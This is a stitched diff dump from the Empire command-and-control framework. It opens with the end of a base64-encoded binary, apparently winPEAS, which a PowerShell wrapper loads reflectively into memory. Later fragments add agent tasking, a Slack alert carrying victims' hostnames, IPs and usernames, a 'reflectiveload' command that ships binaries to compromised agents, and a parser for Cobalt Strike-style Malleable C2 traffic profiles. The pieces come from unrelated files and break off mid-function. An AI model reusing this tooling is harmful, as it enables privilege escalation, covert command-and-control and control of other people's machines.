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XR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMADAAwAAAAkNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
9 $RAS = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64binary))
10
11 $OldConsoleOut = [Console]::Out
12 $StringWriter = New-Object IO.StringWriter
13 [Console]::SetOut($StringWriter)
14
15 [winPEAS.Program]::Main($Command.Split(" "))
16
17 [Console]::SetOut($OldConsoleOut)
18 $Results = $StringWriter.ToString()
19 $Results
20
21 }
288288
289289 methods = ','.join(rule.methods)
290290 url = url_for(rule.endpoint, **options)
291 line = urllib.unquote("[ { '" + rule.endpoint + "': [ { 'methods': '" + methods + "', 'url': '" + url + "' } ] } ]")
291 line = urllib.parse.unquote("[ { '" + rule.endpoint + "': [ { 'methods': '" + methods + "', 'url': '" + url + "' } ] } ]")
292292 output.append(line)
293293
294294 res = ''
521521
522522 for agent in main.agents.get_agents():
523523 sessionID = agent[1]
524 taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, uid=g.user['id'])
524 taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, moduleName=module_name, uid=g.user['id'])
525525 msg = "tasked agent %s to run module %s" % (sessionID, module_name)
526526 main.agents.save_agent_log(sessionID, msg)
527527
530530
531531 else:
532532 # set the agent's tasking in the cache
533 taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, uid=g.user['id'])
533 taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, moduleName=module_name, uid=g.user['id'])
534534
535535 # update the agent log
536536 msg = "tasked agent %s to run module %s" %(sessionID, module_name)
15201520
15211521 # signal to Slack that this agent is now active
15221522
1523 slackToken = listenerOptions['SlackToken']['Value']
1524 slackChannel = listenerOptions['SlackChannel']['Value']
1525 if slackToken != "":
1526 slackText = ":biohazard: NEW AGENT :biohazard:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID)
1527 helpers.slackMessage(slackToken,slackChannel,slackText)
1523 slack_webhook_url = listenerOptions['SlackURL']['Value']
1524 if slack_webhook_url != "":
1525 slack_text = ":biohazard_sign: NEW AGENT :biohazard_sign:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID)
1526 helpers.slackMessage(slack_webhook_url,slack_text)
15281527
15291528 # signal everyone that this agent is now active
15301529 message = "[+] Initial agent {} from {} now active (Slack)".format(sessionID, clientIP)
15851584 dispatcher.send(signal, sender="empire")
15861585 return None
15871586
1587 if isinstance(routingPacket, str):
1588 routingPacket = routingPacket.encode('UTF-8')
15881589 routingPacket = packets.parse_routing_packet(stagingKey, routingPacket)
15891590 if not routingPacket:
15901591 return [('', "ERROR: invalid routing packet")]
1414 from builtins import range
1515 from builtins import str
1616
17 VERSION = "3.3.4 BC-Security Fork"
17 VERSION = "3.4.0 BC Security Fork"
1818
1919 from pydispatch import dispatcher
2020
119119 self.resourceQueue = []
120120 #A hashtable of autruns based on agent language
121121 self.autoRuns = {}
122
123122 self.handle_args()
123 self.startup_plugins()
124124
125125 message = "[*] Empire starting up..."
126126 signal = json.dumps({
190190 if self.args.debug == '2':
191191 # if --debug 2, also print the output to the screen
192192 print(" %s : %s" % (sender, signal))
193
194
193
194 def startup_plugins(self):
195 """
196 Load plugins at the start of Empire
197 """
198 pluginPath = os.path.abspath("plugins")
199 print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
200
201 # From walk_packages: "Note that this function must import all packages
202 # (not all modules!) on the given path, in order to access the __path__
203 # attribute to find submodules."
204 plugin_names = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
205
206 for plugin_name in plugin_names:
207 if plugin_name.lower() != 'example':
208 print(helpers.color("[*] Plugin {} found.".format(plugin_name)))
209
210 message = "[*] Loading plugin {}".format(plugin_name)
211 signal = json.dumps({
212 'print': False,
213 'message': message
214 })
215 dispatcher.send(signal, sender="empire")
216 plugins.load_plugin(self, plugin_name)
217
195218 def check_root(self):
196219 """
197220 Check if Empire has been run as root, and alert user.
283306 except Exception as e:
284307 print(e)
285308 print(helpers.color("\n[!] No current stager with name '%s'\n" % (stagerName)))
286
287 # shutdown the database connection object
288 if self.conn:
289 self.conn.close()
290
309
310 # Gracefully shutdown after launcher generation
311 self.shutdown()
291312 sys.exit()
292313
293314
306327
307328 # enumerate all active servers/listeners and shut them down
308329 self.listeners.shutdown_listener('all')
309
310 # shutdown the database connection object
311 if self.conn:
312 self.conn.close()
313
314330
315331 def database_connect(self):
316332 """
428444 def do_plugins(self, args):
429445 "List all available and active plugins."
430446 pluginPath = os.path.abspath("plugins")
431 print(helpers.color("\n[*] Searching for plugins at {}".format(pluginPath)))
447 print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
432448 # From walk_packages: "Note that this function must import all packages
433449 # (not all modules!) on the given path, in order to access the __path__
434450 # attribute to find submodules."
458474 def do_plugin(self, pluginName):
459475 "Load a plugin file to extend Empire."
460476 pluginPath = os.path.abspath("plugins")
461 print(helpers.color("\n[*] Searching for plugins at {}".format(pluginPath)))
477 print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
462478 # From walk_packages: "Note that this function must import all packages
463479 # (not all modules!) on the given path, in order to access the __path__
464480 # attribute to find submodules."
21972213 "Task an agent to use a shell command."
21982214
21992215 line = line.strip()
2200
22012216 if line != "":
22022217 # task the agent with this shell command
22032218 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "shell " + str(line))
22102225 })
22112226 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
22122227
2228 # update the agent log
2229 msg = "Tasked agent to run shell command " + line
2230 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2231
2232 def do_reflectiveload(self, line):
2233 "Task an agent to use a shell command."
2234
2235 line = line.strip()
2236
2237 if line != "":
2238 # task the agent with this shell command
2239
2240 data = open(line, "rb").read()
2241 encoded = base64.b64encode(data).decode('latin-1')
2242 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "reflectiveload " + encoded)
2243
2244 # dispatch this event
2245 message = "[*] Tasked agent to reflectively load binary".format(line)
2246 signal = json.dumps({
2247 'print': False,
2248 'message': message
2249 })
2250 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2251
22132252 # update the agent log
22142253 msg = "Tasked agent to run shell command " + line
22152254 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
27432782 "Display/return credentials from the database."
27442783 self.mainMenu.do_creds(line)
27452784
2785 def complete_reflectiveload(self, text, line, begidx, endidx):
2786 "Tab-complete an upload file path"
2787 return helpers.complete_path(text, line)
2788
27462789 def complete_updatecomms(self, text, line, begidx, endidx):
27472790 "Tab-complete updatecomms option values"
27482791
41934236 self.module.execute()
41944237 else:
41954238 agentName = self.module.options['Agent']['Value']
4196 moduleName = self.module.info['Name']
4239 moduleName = self.moduleName
41974240 moduleData = self.module.generate(self.mainMenu.obfuscate, self.mainMenu.obfuscateCommand)
41984241
41994242 if not moduleData or moduleData == "":
4040 from __future__ import division
4141 from __future__ import print_function
4242
43 import json
44
4345 from future import standard_library
4446
4547 standard_library.install_aliases()
10391041 self.killed = True
10401042
10411043
1042 def slackMessage(slackToken, slackChannel, slackText):
1043 url = "https://slack.com/api/chat.postMessage"
1044 data = urllib.parse.urlencode({'token': slackToken, 'channel': slackChannel, 'text': slackText})
1045 req = urllib.request.Request(url, data.encode('UTF-8'))
1044 def slackMessage(slack_webhook_url, slack_text):
1045 message = {'text': slack_text}
1046 req = urllib.request.Request(slack_webhook_url, json.dumps(message).encode('UTF-8'))
10461047 resp = urllib.request.urlopen(req)
0 MIT License
1
2 Copyright (c) 2018 johneiser
3
4 Permission is hereby granted, free of charge, to any person obtaining a copy
5 of this software and associated documentation files (the "Software"), to deal
6 in the Software without restriction, including without limitation the rights
7 to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 copies of the Software, and to permit persons to whom the Software is
9 furnished to do so, subject to the following conditions:
10
11 The above copyright notice and this permission notice shall be included in all
12 copies or substantial portions of the Software.
13
14 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
15 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
16 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
17 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
18 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
19 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
20 SOFTWARE.
0 # MalleableC2Parser
1
2 A [**Malleable Command and Control Profile**](https://www.cobaltstrike.com/help-malleable-c2) is a "simple program that specifies how to transform data and store it in a transaction", and is a key feature of [**Cobal Strike**](https://www.cobaltstrike.com/)'s Beacon payload. This library is an attempt to abstract that functionality out so that other toolsets may use the same files to define their own communication profiles.
3
4 ## Usage
5
6 ```
7 import malleable
8 try:
9 p = malleable.Profile()
10 p.ingest("amazon.profile")
11 if p.validate():
12 request = p.get.construct_client("mydomain.sample", "mydata")
13 print request.url, request.headers, request.body
14 except MalleableError as e:
15 print str(e)
16 ```
17
18 ## Architecture
19
20 ### Profile
21
22 The `Profile` houses all the functionality of the Malleable C2 profile and is capable of ingesting and validating profiles. A standard Malleable C2 profile contains a `Get Implementation`, a `Post Implementation`, and possibly a `Stager Implementation`, as well as several global variables like `sleeptime`, `jitter`, and `useragent`.
23
24 ### Implementation
25
26 An `Implementation` is the specific instantiation of an HTTP client-server `Transaction`, and there are three defined: `Get`, `Post`, and `Stager`. Each `Implementation` has its own storage paradigm and purpose within the communication profile.
27
28 - Get: Fetch tasking from the C2
29 - Client: metadata (Session metadata)
30 - Server: output (Beacon's tasks)
31 - Post: Return results to the C2
32 - Client: id (Session ID), output (Beacon's responses)
33 - Server: output (Empty)
34 - Stager: Download a payload stage
35 - Client: metadata (Empty)
36 - Server: output (Encoded payload stage)
37
38 ### Transaction
39
40 A `Transaction` defines the core components of an interaction between a web client request and a web server response. As such, a `Transaction` houses a `Client` and `Server` object, each holding the appropriate components included in their part of the transaction.
41
42 - Client: url, verb scheme, host, port, path, parameters, headers, body
43
44 - Server: code, headers, body
45
46 Each `Client` and `Server` object of a `Transaction` also includes the ability to *store* and *extract* encoded data within its structure, houseing the true value of a Malleable C2 profile.
47
48 ### Transformation
49
50 This group of classes defines the model through which arbitrary data can undergo a sequence of reversable transformations. A `Transform` houses the arbitrary functionality of a reversable transformation, and the following are defined:
51
52 - Append
53 - Base64
54 - Base64Url
55 - Mask
56 - Netbios
57 - Netbiosu
58 - Prepend
59
60 A `Terminator` houses the arbitrary functionality of a reversable storage mechanism, and the following are defined:
61
62 - Print
63 - Header
64 - Parameter
65 - UriAppend
66
67 And finally, a `Container` houses a sequence of `Transforms` and their defined `Terminator`. For example, a `Get Implementation` might include the `metadata Container`, which houses the `Base64Url Transform` and the `UriAppend Terminator`. This means that the metadata to be sent in a GET request to the C2 server will first be Base64 encoded and url encoded, then stored at the end of the url. The server will then retrieve the encoded data from the end of the url and proceed to url decode and base64 decode it.
0 from __future__ import absolute_import
1 from .utility import MalleableError, MalleableUtil, MalleableObject
2 from .transformation import Transform, Terminator, Container
3 from .transaction import MalleableRequest, MalleableResponse, Transaction
4 from .implementation import Get, Post, Stager
5 from .profile import Profile
0 from __future__ import absolute_import
1 import six.moves.urllib.request, six.moves.urllib.parse, six.moves.urllib.error
2 from pyparsing import *
3 from .utility import MalleableError, MalleableUtil, MalleableObject
4 from .transformation import Transform, Terminator, Container
5 from .transaction import MalleableRequest, MalleableResponse, Transaction
6 from six.moves import range
7
8 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
9 # IMPLEMENTATION
10 #
11 # Defining the specific implementations of an interaction
12 # between a web client request and a web server response.
13 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
14
15 class Get(Transaction):
16 """The Get implementation of a Transaction.
17
18 The Get Transaction is used to fetch tasking from the server. In a Get Transaction,
19 the following data is transmitted:
20 - (Client) metadata (Session metadata)
21 - (Server) output (Beacon's tasks)
22 """
23
24 def _defaults(self):
25 """Default initialization for the Get Transaction."""
26 super(Get, self)._defaults()
27 self.client.metadata = Container()
28 self.server.output = Container()
29 self.client.verb = "GET"
30
31 def _clone(self):
32 """Deep copy of the Get Transaction.
33
34 Returns:
35 Get Transaction
36 """
37 new = super(Get, self)._clone()
38 new.client.metadata = self.client.metadata._clone()
39 new.server.output = self.server.output._clone()
40 new.client.verb = self.client.verb
41 return new
42
43 def _serialize(self):
44 """Serialize the Get Transaction.
45
46 Returns:
47 dict (str, obj)
48 """
49 d = super(Get, self)._serialize()
50 d["client"] = dict((list(d["client"].items()) if "client" in d else []) + list({
51 "metadata" : self.client.metadata._serialize()
52 }.items()))
53 d["server"] = dict((list(d["server"].items()) if "server" in d else []) + list({
54 "output" : self.server.output._serialize()
55 }.items()))
56 return dict(list(d.items()) + list({
57
58 }.items()))
59
60 @classmethod
61 def _deserialize(cls, data):
62 """Deserialize data into a Get Transaction.
63
64 Args:
65 data (dict (str, obj)): Serialized data (json)
66
67 Returns:
68 Get Transaction
69 """
70 get = super(Get, cls)._deserialize(data)
71 if data:
72 get.client.metadata = Container._deserialize(data["client"]["metadata"]) if ("client" in data and "metadata" in data["client"]) else Container()
73 get.server.output = Container._deserialize(data["server"]["output"]) if ("server" in data and "output" in data["server"]) else Container()
74 return get
75
76 @classmethod
77 def _pattern(cls):
78 """Define the pattern to recognize a Get object while parsing a file.
79
80 Returns:
81 pyparsing object
82 """
83 return Literal("http-get") + super(Get, cls)._pattern()
84
85 def _parse(self, data):
86 """Store the information from a parsed pyparsing result.
87
88 Args:
89 data: pyparsing data
90 """
91 super(Get, self)._parse(data)
92 if data:
93 for i in range(0, len(data), 2):
94 item = data[i]
95 arg = data[i+1] if len(data) > i+1 else None
96 if item and arg:
97 if item.lower() == "client":
98 for j in range(0, len(arg), 2):
99 item2 = arg[j]
100 arg2 = arg[j+1] if len(arg) > j+1 else None
101 if item2 and arg2:
102 if item2.lower() == "metadata":
103 self.client.metadata._parse(arg2)
104 elif item.lower() == "server":
105 for j in range(0, len(arg), 2):
106 item2 = arg[j]
